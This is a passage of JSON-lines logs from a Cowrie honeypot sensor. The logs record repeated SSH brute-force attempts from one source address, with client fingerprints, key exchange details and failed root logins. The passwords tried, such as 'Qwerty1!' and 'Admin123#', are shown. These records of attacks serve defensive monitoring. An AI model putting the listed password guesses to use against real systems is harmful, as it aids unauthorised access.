sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:23.458420Z","src_ip":"60.165.124.241","session":"ce61ca016cb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1!","message":"login attempt [root/Qwerty1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:24.176069Z","src_ip":"60.165.124.241","session":"ce61ca016cb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:25.420045Z","src_ip":"60.165.124.241","session":"ce61ca016cb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58194,"dst_ip":"10.17.0.5","dst_port":22,"session":"609823a6995d","protocol":"ssh","message":"New connection: 60.165.124.241:58194 (10.17.0.5:22) [session: 609823a6995d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:25.657278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:25.662758Z","src_ip":"60.165.124.241","session":"609823a6995d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:25.904818Z","src_ip":"60.165.124.241","session":"609823a6995d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111qqq...","message":"login attempt [root/111qqq...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:26.625701Z","src_ip":"60.165.124.241","session":"609823a6995d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:27.868041Z","src_ip":"60.165.124.241","session":"609823a6995d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33270,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d55ee07fa8f","protocol":"ssh","message":"New connection: 60.165.124.241:33270 (10.17.0.5:22) [session: 0d55ee07fa8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:28.098846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:28.104773Z","src_ip":"60.165.124.241","session":"0d55ee07fa8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:28.341831Z","src_ip":"60.165.124.241","session":"0d55ee07fa8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ecoo1234","message":"login attempt [root/ecoo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:29.059133Z","src_ip":"60.165.124.241","session":"0d55ee07fa8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:30.313079Z","src_ip":"60.165.124.241","session":"0d55ee07fa8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36466,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a60409bc4b7","protocol":"ssh","message":"New connection: 60.165.124.241:36466 (10.17.0.5:22) [session: 7a60409bc4b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:30.549731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:30.554854Z","src_ip":"60.165.124.241","session":"7a60409bc4b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:30.798187Z","src_ip":"60.165.124.241","session":"7a60409bc4b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mypassword","message":"login attempt [root/mypassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:31.552124Z","src_ip":"60.165.124.241","session":"7a60409bc4b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:32.800228Z","src_ip":"60.165.124.241","session":"7a60409bc4b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.28.238.134","src_port":41648,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd5651496d02","protocol":"telnet","message":"New connection: 84.28.238.134:41648 (159.203.135.109:23) [session: dd5651496d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:32.877427Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39596,"dst_ip":"10.17.0.5","dst_port":22,"session":"aad47d2f9fb6","protocol":"ssh","message":"New connection: 60.165.124.241:39596 (10.17.0.5:22) [session: aad47d2f9fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:33.078763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:33.084117Z","src_ip":"60.165.124.241","session":"aad47d2f9fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:34.093109Z","src_ip":"60.165.124.241","session":"aad47d2f9fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123#","message":"login attempt [root/Admin123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:35.515792Z","src_ip":"60.165.124.241","session":"aad47d2f9fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:36.794047Z","src_ip":"60.165.124.241","session":"aad47d2f9fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44632,"dst_ip":"10.17.0.5","dst_port":22,"session":"da2f1aea1f87","protocol":"ssh","message":"New connection: 60.165.124.241:44632 (10.17.0.5:22) [session: da2f1aea1f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:39.052718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:39.057738Z","src_ip":"60.165.124.241","session":"da2f1aea1f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:40.056747Z","src_ip":"60.165.124.241","session":"da2f1aea1f87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aq1sw2de3","message":"login attempt [root/Aq1sw2de3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:42.232122Z","src_ip":"60.165.124.241","session":"da2f1aea1f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:44.792290Z","src_ip":"60.165.124.241","session":"da2f1aea1f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.40065598487854,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:45.277965Z","src_ip":"84.28.238.134","session":"dd5651496d02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54504,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c94d21f89be","protocol":"ssh","message":"New connection: 60.165.124.241:54504 (10.17.0.5:22) [session: 2c94d21f89be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:47.077065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:47.082355Z","src_ip":"60.165.124.241","session":"2c94d21f89be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:47.345775Z","src_ip":"60.165.124.241","session":"2c94d21f89be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7dFLW%jD2IDUgV@C","message":"login attempt [root/7dFLW%jD2IDUgV@C] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:48.143946Z","src_ip":"60.165.124.241","session":"2c94d21f89be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:50.053804Z","src_ip":"60.165.124.241","session":"2c94d21f89be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60988,"dst_ip":"10.17.0.5","dst_port":22,"session":"90c8d4766b47","protocol":"ssh","message":"New connection: 60.165.124.241:60988 (10.17.0.5:22) [session: 90c8d4766b47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:50.306324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:50.310552Z","src_ip":"60.165.124.241","session":"90c8d4766b47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:50.566360Z","src_ip":"60.165.124.241","session":"90c8d4766b47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nadx@189","message":"login attempt [root/Nadx@189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:51.342118Z","src_ip":"60.165.124.241","session":"90c8d4766b47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:52.600584Z","src_ip":"60.165.124.241","session":"90c8d4766b47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35722,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f1544fe41dd","protocol":"ssh","message":"New connection: 60.165.124.241:35722 (10.17.0.5:22) [session: 9f1544fe41dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:54.895229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:54.899301Z","src_ip":"60.165.124.241","session":"9f1544fe41dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:55.173102Z","src_ip":"60.165.124.241","session":"9f1544fe41dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39808,"dst_ip":"159.203.135.109","dst_port":22,"session":"3088ed5ed8a7","protocol":"ssh","message":"New connection: 2.57.122.208:39808 (159.203.135.109:22) [session: 3088ed5ed8a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:04:59.024548Z"}
